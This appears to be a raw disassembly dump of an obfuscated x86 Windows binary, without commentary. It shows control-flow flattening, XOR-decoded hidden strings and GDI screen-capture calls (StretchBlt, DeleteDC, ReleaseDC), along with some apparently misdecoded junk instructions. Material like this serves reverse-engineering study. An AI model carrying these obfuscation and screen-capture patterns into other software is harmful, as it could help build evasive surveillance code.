mov eax, ebx
and eax, 0xfd
imul eax, ecx
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
mov ecx, dword [esi + 0x58]
add ebx, eax
add edx, dword [esi + 0x64]
sub edx, ebx
add dl, 0xdc
mov byte [ecx + edi], dl
mov edx, dword [esi + 0x68]
add edi, 1
jmp 0x4368d1
mov eax, dword [edx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov edi, dword [esi + 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns bl
mov eax, dword [esi + 0x1f0]
mov ecx, dword [esi + 0x1f4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x260], 1
mov eax, dword [esi + 0x264]
mov ecx, dword [esi + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x168], 1
mov eax, dword [esi + 0x16c]
mov ecx, dword [esi + 0x168]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x2a8], 0
mov eax, dword [esi + 0x2ac]
mov ecx, dword [esi + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x84], edi
call fcn.0040e5f0
mov dword [esi + 0x2c8], 0
mov eax, dword [esi + 0x2cc]
mov ecx, dword [esi + 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x220], 1
mov eax, dword [esi + 0x224]
mov ecx, dword [esi + 0x220]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x28]
mov edi, dword [esi + 4]
jmp eax
mov word [eax - 0x1405800b], ss
mov byte [0xa0868beb], al
add byte [eax], al
add byte [ebx + 0xa48e], cl
add byte [ebx - 0x1f007efc], cl
call fcn.0040e5f0
mov dword [esi + 0x1e8], 0
mov eax, dword [esi + 0x1ec]
mov ecx, dword [esi + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x12c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x54]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x2d8], ecx
mov eax, dword [esi + 0x2dc]
mov ecx, dword [esi + 0x2d8]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
pop ebp
sbb dword [ebx], esi
cdq
nop
sub esi, 0x50468b20
mov al, byte [eax]
mov byte [esi + 0x34], al
mov byte [edx], 5
mov byte [edx + 1], 0xfb
mov byte [edx + 2], 5
mov byte [edx + 3], 0xf9
mov byte [edx + 4], 0xc
mov byte [edx + 5], 0xe7
mov byte [edx + 6], 0xe6
mov byte [edx + 7], 0xe5
mov eax, 8
mov edi, edx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0xa
jne 0x436c78
xor eax, eax
cmp eax, 0xa
jae 0x436ca0
mov cl, byte [edi + eax]
mov dl, al
add dl, 0xab
xor dl, cl
add dl, 0xa9
mov byte [edi + eax], dl
add eax, 1
jmp 0x436c86
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov eax, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [ecx + eax*4]
mov edx, edi
jmp eax
mov eax, dword [esi + 0x248]
mov ecx, dword [esi + 0x24c]
mov eax, dword [ecx + eax*4]
mov edi, 3
jmp eax
mov eax, dword [esi + 0x180]
mov ecx, dword [esi + 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
xchg edi, eax
enter 0x67f9, 0x1e
sal dword [edx + 0x39], cl
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 0xa]
mov bl, al
and ebx, 1
mov dword [esi + 0x160], ebx
mov eax, dword [esi + 0x164]
mov ecx, dword [esi + 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0x80]
mov dword [esp], eax
call edi
mov eax, dword [esi + 0x120]
mov ecx, dword [esi + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x10], edi
call fcn.0040e5f0
mov dword [esi + 0x150], 0
mov eax, dword [esi + 0x154]
mov ecx, dword [esi + 0x150]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x18]
mov edi, dword [esi + 0x14]
jmp eax
mov eax, dword [esi + 0xb8]
mov ecx, dword [esi + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x240]
mov ecx, dword [esi + 0x244]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
mov dword [esi - 0x6e4c8636], ecx
mov ebx, 0x83da8993
ret 0x8908
mov eax, dword [esi + 0x288]
mov ecx, dword [esi + 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x148], 0
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x148]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x2a0]
mov ecx, dword [esi + 0x2a4]
mov eax, dword [ecx + eax*4]
jmp eax
adc cl, byte [0xec832ce0]
add al, 0xc7
add al, 0x24
or al, 0
add byte [eax], al
call fcn.0040cdd0
add esp, 4
mov dword [eax], 0
mov byte [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [esi + 0x5c]
mov cl, byte [ecx]
mov byte [esi + 0x40], cl
mov byte [edi], pe_nt_image_headers32
mov byte [edi + 1], 9
mov byte [edi + 2], pe_nt_image_headers32
mov byte [edi + 3], 0xf
mov byte [edi + 4], 0x7f
mov byte [edi + 5], 0xd
mov byte [edi + 6], 0x66
mov byte [edi + 7], 3
mov byte [edi + 8], 0x75
mov byte [edi + 9], 1
mov byte [edi + 0xa], 0x61
mov byte [edi + 0xb], 7
mov byte [edi + 0xc], 0x70
mov byte [edi + 0xd], 5
mov byte [edi + 0xe], 0x4d
mov byte [edi + 0xf], 0x1b
mov byte [edi + 0x10], 0x6c
mov byte [edi + 0x11], 0x19
mov byte [edi + 0x12], 0x7f
mov byte [edi + 0x13], 0x1f
mov byte [edi + 0x14], 0x68
mov byte [edi + 0x15], 0x1d
mov byte [edi + 0x16], 0x77
mov byte [edi + 0x17], 0x13
mov byte [edi + 0x18], 0x10
mov byte [edi + 0x19], 0x11
mov ecx, 0x1a
mov byte [edi + ecx], 0
add ecx, 1
cmp ecx, 0x1e
jne 0x436f7a
xor ecx, ecx
cmp ecx, 0x1e
jae 0x436fab
mov edx, dword [esi + 4]
mov dl, byte [edx + ecx]
mov dh, cl
add dh, 2
xor dh, dl
add dh, 0xf6
mov edi, dword [esi + 4]
mov byte [edi + ecx], dh
mov edi, dword [esi + 4]
add ecx, 1
jmp 0x436f88
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call ecx
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
fdivr qword [ebp + 0x4ec836c]
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [esi + 0xa8]
mov ecx, dword [esi + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x258]
mov ecx, dword [esi + 0x25c]
mov eax, dword [ecx + eax*4]
mov dword [esi + 0x10], 0
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov dword [esi + 0x188], 0
mov eax, dword [esi + 0x18c]
mov ecx, dword [esi + 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x2b0], 1
mov eax, dword [esi + 0x2b4]
mov ecx, dword [esi + 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0xe8]
mov ecx, dword [esi + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x4cdd3490
sete cl
mov dword [esp + 0x128], ecx
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x54]
mov dl, byte [esp + 0x50]
mov byte [esp + 0x58], dl
mov byte [esp + 0x5c], 3
mov byte [esp + 0x5d], 0x12
mov byte [esp + 0x5e], 0xe0
mov byte [esp + 0x5f], 0xee
mov byte [esp + 0x60], 0xf1
mov byte [esp + 0x61], 0xfb
mov byte [esp + 0x62], 0x38
mov byte [esp + 0x63], 0xff
mov byte [esp + 0x64], 0xfe
mov byte [esp + 0x65], 0xf6
mov byte [esp + 0x66], 0x6a
mov edx, 0xb
mov byte [esp + edx + 0x5c], 0
add edx, 1
cmp edx, 0xf
jne 0x437a8e
xor edx, edx
cmp edx, 0xf
jae 0x437ad4
movzx edi, byte [esp + edx + 0x5c]
mov ebp, edx
add ebp, 0x41ba826c
xor ebp, edi
mov edi, ebp
add edi, 0xb75b73e3
mov ebx, edi
and ebx, 1
and ebp, 1
xor ebp, 1
or ebx, ebp
or edi, 1
add ebx, edi
mov byte [esp + edx + 0x5c], bl
add edx, 1
jmp 0x437a9d
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
lea eax, [esp + 0x5c]
mov dword [esp], eax
mov ecx, esi
call fcn.0040d8f0
sub esp, 0xc
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x54]
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x70]
test eax, eax
mov eax, 0x69578dd9
je 0x437b0b
mov eax, 0xc8fdea49
mov ecx, dword [esp + 0x30]
mov dword [ecx], eax
mov al, byte [esp + 0x2f]
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x41e2c055
setl cl
mov dword [esp + 0x148], ecx
mov ecx, dword [esp + 0x14c]
mov edx, dword [esp + 0x148]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x41e2c055
sete cl
mov dword [esp + 0x120], ecx
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x120]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa9eab0c5
sete cl
mov dword [esp + 0xd0], ecx
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x4cdd3490
setl cl
mov dword [esp + 0x140], ecx
mov ecx, dword [esp + 0x144]
mov edx, dword [esp + 0x140]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xc8fdea49
setl cl
mov dword [esp + 0xe0], ecx
mov ecx, dword [esp + 0xe4]
mov edx, dword [esp + 0xe0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xa50b918
sete cl
mov dword [esp + 0x108], ecx
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x108]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xe527285e
sete cl
mov dword [esp + 0xf0], ecx
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x70]
mov dword [esp], eax
call fcn.0040cde0
mov eax, dword [esp + 0x30]
mov dword [eax], 0x69578dd9
mov al, byte [esp + 0x2f]
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
lcall 0x5f1a, 0x5d14f10d
arpl word [ebx - 0x74cbdbbc], cx
dec esp
and al, 0x40
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x7c]
mov dword [esp + 8], ecx
lea ecx, [esp + 0x54]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00438050
mov eax, dword [esp + 0x30]
mov dword [eax], 0x4cdd3490
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc8fdea49
sete cl
mov dword [esp + 0xd8], ecx
mov eax, dword [esp + 0xdc]
mov ecx, dword [esp + 0xd8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x69578dd9
setl cl
mov dword [esp + 0x138], ecx
mov ecx, dword [esp + 0x13c]
mov edx, dword [esp + 0x138]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x74]
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x48]
mov ebp, dword [esp + 0x34]
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
sub esp, 0x2c
mov eax, dword [esp + 0x30]
mov dword [eax], 0xe0b68377
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xe0b68377
sete cl
mov dword [esp + 0xe8], ecx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xe8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xe0b68377
setl cl
mov dword [esp + 0x100], ecx
mov ecx, dword [esp + 0x104]
mov edx, dword [esp + 0x100]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x3f]
test al, al
mov eax, 0xe527285e
jne 0x437e5a
mov eax, 0x69578dd9
mov ecx, dword [esp + 0x30]
mov dword [ecx], eax
mov byte [esp + 0x2e], 0
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x160]
sub eax, 0xffffffff
mov eax, 0x35c2e3bf
jl 0x437e8e
mov eax, 0xe0b68377
mov ecx, dword [esp + 0x30]
mov dword [ecx], eax
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x35c2e3bf
sete cl
mov dword [esp + 0x110], ecx
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x110]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x40]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x7c]
mov dword [esp + 8], ecx
lea ecx, [esp + 0x54]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00438050
mov byte [esp + 0x3f], al
mov eax, dword [esp + 0x30]
mov dword [eax], 0xa50b918
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
mov bl, byte [esp + 0x2e]
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call dword [sym.imp.GDI32.dll_DeleteObject]
sub esp, 4
and bl, 1
movzx eax, bl
add esp, 0x184
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.0040e5f0
mov eax, dword [esp + 0x30]
mov dword [eax], 0x4cdd3490
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x69578dd9
sete cl
mov dword [esp + 0x130], ecx
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x35c2e3bf
setl cl
mov dword [esp + 0x118], ecx
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xe527285e
setl cl
mov dword [esp + 0xf8], ecx
mov ecx, dword [esp + 0xfc]
mov edx, dword [esp + 0xf8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x2a818c26
sete cl
mov dword [esp + 0x218], ecx
mov eax, dword [esp + 0x21c]
mov ecx, dword [esp + 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xed879649
mov eax, dword [esp + 0x100]
mov ecx, dword [esp + 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xd1c8cbc
sete cl
mov dword [esp + 0x208], ecx
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xed879649
setl cl
mov dword [esp + 0x198], ecx
mov ecx, dword [esp + 0x19c]
mov edx, dword [esp + 0x198]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e5f0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xcb629a82
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2bc]
mov ecx, dword [esp + 0x40]
mov ebx, dword [eax + ecx*4]
mov edx, ebx
and edx, 0xff00ff00
mov esi, ebx
xor esi, 0xff000000
mov edi, ebx
or edi, 0xff0000
and edi, esi
shr edi, 0x10
or edx, edi
mov esi, ebx
not esi
or esi, 0xff
add ebx, esi
shl ebx, 0x10
add ebx, 0x10000
or edx, ebx
mov dword [eax + ecx*4], edx
mov eax, dword [esp + 0x40]
inc eax
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x6e41a079
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xd40c8cfb
sete cl
mov dword [esp + 0x180], ecx
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x180]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa17e492
sete cl
mov dword [esp + 0x1f0], ecx
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa17e492
setl cl
mov dword [esp + 0x1f8], ecx
mov ecx, dword [esp + 0x1fc]
mov edx, dword [esp + 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x1d391c0f
sete cl
mov dword [esp + 0x210], ecx
mov eax, dword [esp + 0x214]
mov ecx, dword [esp + 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd1c8cbc
setl cl
mov dword [esp + 0x230], ecx
mov ecx, dword [esp + 0x234]
mov edx, dword [esp + 0x230]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3059cbcc
sete cl
mov dword [esp + 0x240], ecx
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9d17f12f
setl cl
mov dword [esp + 0x178], ecx
mov ecx, dword [esp + 0x17c]
mov edx, dword [esp + 0x178]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x6e41a079
setl cl
mov dword [esp + 0x288], ecx
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x34649e76
setl cl
mov dword [esp + 0x298], ecx
mov ecx, dword [esp + 0x29c]
mov edx, dword [esp + 0x298]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf2c8d4eb
setl cl
mov dword [esp + 0x1d0], ecx
mov ecx, dword [esp + 0x1d4]
mov edx, dword [esp + 0x1d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9447c318
sete cl
mov dword [esp + 0x138], ecx
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x138]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x44]
sub ecx, eax
mov eax, 0x3059cbcc
jl 0x43895a
mov eax, 0xa17e492
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x25]
and al, 1
mov byte [esp + 0x26], al
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x9d17f12f
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf89c4258
sete cl
mov dword [esp + 0x1e0], ecx
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x82388416
sete cl
mov dword [esp + 0x128], ecx
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb4b8a7e6
setl cl
mov dword [esp + 0x170], ecx
mov ecx, dword [esp + 0x174]
mov edx, dword [esp + 0x170]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x30]
lea edi, [esp + 0x3c]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.00408830
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xed879649
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x44]
imul ecx, edx
imul eax, ecx
mov ecx, dword [esp + 0x30]
add ecx, eax
mov dword [esp + 0x2bc], ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x6e41a079
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2a818c26
setl cl
mov dword [esp + 0x220], ecx
mov ecx, dword [esp + 0x224]
mov edx, dword [esp + 0x220]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x26]
and al, 1
movzx eax, al
add esp, 0x30c
pop esi
pop edi
pop ebx
pop ebp
ret
rol dword [ebx + 0x448bd2a9], cl
and al, 0x1c
mov dword [eax], 0xcb629a82
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c0]
test eax, eax
mov eax, 0x405fbade
jne 0x438b60
mov eax, 0x667f4178
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x23], 0
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x30]
lea edi, [esp + 0x3c]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.00408830
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x54]
test eax, eax
setne byte [esp + 0x27]
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x82388416
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x327da792
sete cl
mov dword [esp + 0x248], ecx
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x88ca0326
setl cl
mov dword [esp + 0x148], ecx
mov ecx, dword [esp + 0x14c]
mov edx, dword [esp + 0x148]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x667f4178
setl cl
mov dword [esp + 0x290], ecx
mov ecx, dword [esp + 0x294]
mov edx, dword [esp + 0x290]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xcb629a82
sete cl
mov dword [esp + 0x160], ecx
mov eax, dword [esp + 0x164]
mov ecx, dword [esp + 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x405fbade
sete cl
mov dword [esp + 0x268], ecx
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x34649e76
sete cl
mov dword [esp + 0x260], ecx
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf62362cb
setl cl
mov dword [esp + 0x1c0], ecx
mov ecx, dword [esp + 0x1c4]
mov edx, dword [esp + 0x1c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xf2c8d4eb
sete cl
mov dword [esp + 0x1a8], ecx
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd64535ea
setl cl
mov dword [esp + 0x1a0], ecx
mov ecx, dword [esp + 0x1a4]
mov edx, dword [esp + 0x1a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf3433ead
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf62362cb
sete cl
mov dword [esp + 0x1b8], ecx
